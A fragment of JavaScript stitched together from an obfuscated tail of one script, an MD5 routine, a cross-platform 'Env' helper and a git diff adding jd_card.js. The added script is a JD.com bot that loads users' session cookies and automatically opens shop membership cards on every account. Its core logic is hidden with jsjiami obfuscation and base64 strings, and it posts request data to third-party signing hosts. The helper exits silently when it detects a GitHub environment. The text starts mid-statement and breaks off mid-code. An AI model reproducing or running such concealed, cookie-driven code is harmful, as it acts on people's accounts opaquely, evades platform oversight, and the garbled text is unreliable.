_0xdd1134!==_0x1be815;},'\x62\x43\x54\x50\x4a':_0x551f('203'),'\x47\x78\x46\x70\x56':function(_0x534180){return _0x534180();},'\x47\x64\x58\x4e\x58':_0x551f('ac'),'\x75\x58\x74\x42\x5a':function(_0x5f0ec2,_0x1a3327){return _0x5f0ec2===_0x1a3327;},'\x6b\x6b\x51\x41\x4d':function(_0x216cbf,_0x5da871,_0x52e4d6){return _0x216cbf(_0x5da871,_0x52e4d6);},'\x4a\x61\x65\x65\x52':_0x551f('204'),'\x58\x76\x77\x6d\x49':_0x551f('196'),'\x45\x6f\x7a\x6c\x70':_0x551f('197'),'\x53\x65\x47\x46\x74':_0x551f('f9'),'\x63\x4c\x4c\x52\x76':_0x551f('f5'),'\x43\x4b\x74\x4e\x45':function(_0x1d6323,_0x2a6518){return _0x1d6323(_0x2a6518);},'\x67\x77\x71\x68\x69':_0x551f('f6')};return h5st=await _0x41a725[_0x551f('205')](geth5st,_0x41a725[_0x551f('206')],_0x294da8),opt={'\x75\x72\x6c':_0x551f('207')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x41a725[_0x551f('208')],'\x41\x63\x63\x65\x70\x74':_0x41a725[_0x551f('209')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x41a725[_0x551f('20a')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x551f('103')+$[_0x551f('32')]+_0x551f('104')+$[_0x551f('2f')]+_0x551f('105'),'Accept-Language':_0x41a725[_0x551f('20b')],'\x52\x65\x66\x65\x72\x65\x72':_0x551f('1f5')+_0x3e6741+_0x551f('20c')+_0x41a725[_0x551f('20d')](encodeURIComponent,$[_0x551f('3a')]),'Accept-Encoding':_0x41a725[_0x551f('20e')]}},new Promise(_0x48adc5=>{var _0x1ec33c={'\x6c\x57\x59\x5a\x55':_0x41a725[_0x551f('20f')],'\x6c\x49\x51\x66\x70':function(_0x4291db,_0x1b5309){return _0x41a725[_0x551f('210')](_0x4291db,_0x1b5309);}};$[_0x551f('97')](opt,(_0x590b7f,_0x2c65bc,_0x31d33a)=>{try{if(_0x590b7f){if(_0x41a725[_0x551f('211')](_0x41a725[_0x551f('212')],_0x41a725[_0x551f('213')])){$[_0x551f('11')](_0x1ec33c[_0x551f('214')]);if(_0x1ec33c[_0x551f('215')]($[_0x551f('24')],0x1)){ownCode=_0x31d33a[_0x551f('1b')][_0x551f('85')];}}else{console[_0x551f('11')](_0x590b7f);}}else{res=JSON[_0x551f('a1')](_0x31d33a);if(res[_0x551f('148')]){console[_0x551f('11')](res);$[_0x551f('86')]=res[_0x551f('87')];}}}catch(_0x263260){if(_0x41a725[_0x551f('216')](_0x41a725[_0x551f('217')],_0x41a725[_0x551f('217')])){console[_0x551f('11')](_0x263260);}else{console[_0x551f('11')](_0x263260);}}finally{_0x41a725[_0x551f('218')](_0x48adc5);}});});}function geth5st(_0xa4baa9,_0x35c71c){var _0x389709={'\x68\x4d\x6a\x51\x79':function(_0x165e7a,_0x8656e9){return _0x165e7a!==_0x8656e9;},'\x4a\x79\x57\x50\x42':_0x551f('219'),'\x7a\x6d\x55\x52\x6d':_0x551f('21a'),'\x53\x70\x6b\x74\x47':function(_0x3f996d,_0x1e16a4){return _0x3f996d(_0x1e16a4);},'\x48\x51\x4a\x58\x6f':function(_0x3cf5e2){return _0x3cf5e2();},'\x66\x4b\x58\x61\x4b':_0x551f('21b'),'\x49\x6d\x67\x50\x58':_0x551f('21c'),'\x42\x4d\x48\x49\x5a':_0x551f('21d'),'\x67\x73\x65\x47\x46':_0x551f('21e'),'\x46\x4f\x6b\x53\x4b':function(_0x4a819a,_0x2e1a2d){return _0x4a819a!==_0x2e1a2d;},'\x5a\x50\x66\x5a\x4b':_0x551f('21f'),'\x62\x6b\x6e\x50\x73':_0x551f('220'),'\x58\x67\x49\x74\x6a':function(_0x4b29ce,_0xea0bf6){return _0x4b29ce*_0xea0bf6;},'\x4f\x71\x79\x79\x6d':_0x551f('f3')};return new Promise(async _0x4db9fd=>{var _0x34835d={'\x71\x6c\x42\x4d\x56':function(_0x14d09b){return _0x389709[_0x551f('221')](_0x14d09b);}};let _0x26bfde={'\x61\x70\x70\x49\x64':_0x389709[_0x551f('222')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x389709[_0x551f('223')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0xa4baa9,'\x62\x6f\x64\x79':JSON[_0x551f('ee')](_0x35c71c),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x389709[_0x551f('224')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x551f('a')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x550eb6='';let _0x44485e=[_0x389709[_0x551f('225')]];if(process[_0x551f('16e')][_0x551f('226')]){if(_0x389709[_0x551f('227')](_0x389709[_0x551f('228')],_0x389709[_0x551f('229')])){_0x550eb6=process[_0x551f('16e')][_0x551f('226')];}else{cookie=''+cookie+ck[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}else{_0x550eb6=_0x44485e[Math[_0x551f('1b6')](_0x389709[_0x551f('22a')](Math[_0x551f('13a')](),_0x44485e[_0x551f('20')]))];}let _0x30b010={'\x75\x72\x6c':_0x551f('22b'),'\x62\x6f\x64\x79':JSON[_0x551f('ee')](_0x26bfde),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x550eb6,'Content-Type':_0x389709[_0x551f('22c')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x389709[_0x551f('22a')](0x1e,0x3e8)};$[_0x551f('d1')](_0x30b010,async(_0x117a98,_0x78f180,_0x26bfde)=>{try{if(_0x389709[_0x551f('22d')](_0x389709[_0x551f('22e')],_0x389709[_0x551f('22f')])){if(_0x117a98){_0x26bfde=await geth5st[_0x551f('230')](this,arguments);}else{}}else{_0x34835d[_0x551f('231')](_0x4db9fd);}}catch(_0x2f4d0a){$[_0x551f('a3')](_0x2f4d0a,_0x78f180);}finally{_0x389709[_0x551f('232')](_0x4db9fd,_0x26bfde);}});});};_0xod8='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_card.js b/jd_card.js new file mode 100644 index 0000000..ca095c4 --- /dev/null +++ b/jd_card.js @@ -0,0 +1,151 @@ +/* +单店铺开卡 +变量 SHOP_VENDER_ID +7 7 7 7 7 jd_card.js +*/ +const $ = new Env("店铺开卡"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let venderId = process.env.SHOP_VENDER_ID ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (venderId === '') { + console.log("无开卡venderId") + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + await openCard(); + await $.wait(1000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function openCard() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + $.res = null; + await getShopOpenCardInfo({ "venderId": `${venderId}`, "channel": "401" }) + if ($.openCardActivityId) { + await bindWithVender({ "venderId": `${venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, venderId) + } else { + console.log("没毛") + } + +} + +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +var _0xody='jsjiami.com.v6',_0xody_=['‮_0xody'],_0x21a9=[_0xody,'aWR3QUY=','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','eWpWR24=','R1lTekU=','RnBnbFU=','ckNRRlI=','dGVnams=','SEtwaGs=','Uk1lSlI=','YmluZFdpdGhWZW5kZXI=','R2NZTmI=','WVZXTEI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','RXZDZ3A=','Y1d0SG8=','UG9HQUc=','Tm5IbFA=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','b0h3eG8=','RW9wa0U=','SHRZTEM=','VG9GcUo=','Q0dpUU4=','Z25HdlY=','YkxJR1k=','ZE53QUg=','Zml1TkM=','bVBlWUY=','Vkh2clA=','SGdsakE=','WEpKS0Y=','WUlOT1A=','UW50aFI=','YXRUZ1M=','d0trQmI=','cmVz','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','RE5lQ2U=','YlZHTVM=','aWRkcmY=','WGFSU04=','cEFpSWQ=','dXlwV0Y=','Q2lEZUQ=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','eG0xMzU3OTA4NjQy','amRzaWduLmNm','aU15YmY=','RklyRUw=','YXBwbGljYXRpb24vanNvbg==','ZlJBYnc=','ekp1ZWM=','dndCUVY=','Z1VORm8=','TGdMZ3I=','VURLVEU=','cVRVaGk=','RW9uR2k=','Y2ZDanY=','ZXJFaEY=','Y2R6cVk=','QWJla08=','ZW52','U0lHTl9VUkw=','TFlCcHI=','cXpKWmk=','YkZxc04=','SUZlZXY=','Zmxvb3I=','QWl4c00=','cmFuZG9t','bGVuZ3Ro','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','ZG94dG4=','cG9zdA==','TnNsc2U=','YWdaVXo=','dVVDSWI=','T2pqS0g=','c0x4clU=','ZURCSUo=','YXBwbHk=','clNJTFU=','bG9nRXJy','VVdLRXk=','UVB2S2o=','YXBpLm0uamQuY29t','Ki8q','a2VlcC1hbGl2ZQ==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','Yk1peHU=','c3RyaW5naWZ5','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','UXhtRWM=','a0t6REo=','UEhpcmM=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','VVVJRA==','O25ldHdvcmsvd2lmaTtBRElELw==','QURJRA==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','bnlhdlM=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','UVFzb04=','YWN0aXZpdHlVcmw=','dlRqbWk=','Z2V0','bG9n','cGFyc2U=','c3VjY2Vzcw==','VmFRT0g=','QXNwRVg=','jQZVsehLjiamtlthyix.xucogm.v6=='];if(function(_0x3c1472,_0x46353a,_0x546569){function _0x40d53a(_0x5d40ab,_0x3b1837,_0x424808,_0x31456e,_0x2d1442,_0x1c074c){_0x3b1837=_0x3b1837>>0x8,_0x2d1442='po';var _0x1aadc3='shift',_0xdca26f='push',_0x1c074c='‮';if(_0x3b1837<_0x5d40ab){while(--_0x5d40ab){_0x31456e=_0x3c1472[_0x1aadc3]();if(_0x3b1837===_0x5d40ab&&_0x1c074c==='‮'&&_0x1c074c['length']===0x1){_0x3b1837=_0x31456e,_0x424808=_0x3c1472[_0x2d1442+'p']();}else if(_0x3b1837&&_0x424808['replace'](/[QZVehLtlthyxxug=]/g,'')===_0x3b1837){_0x3c1472[_0xdca26f](_0x31456e);}}_0x3c1472[_0xdca26f](_0x3c1472[_0x1aadc3]());}return 0xf6e04;};return 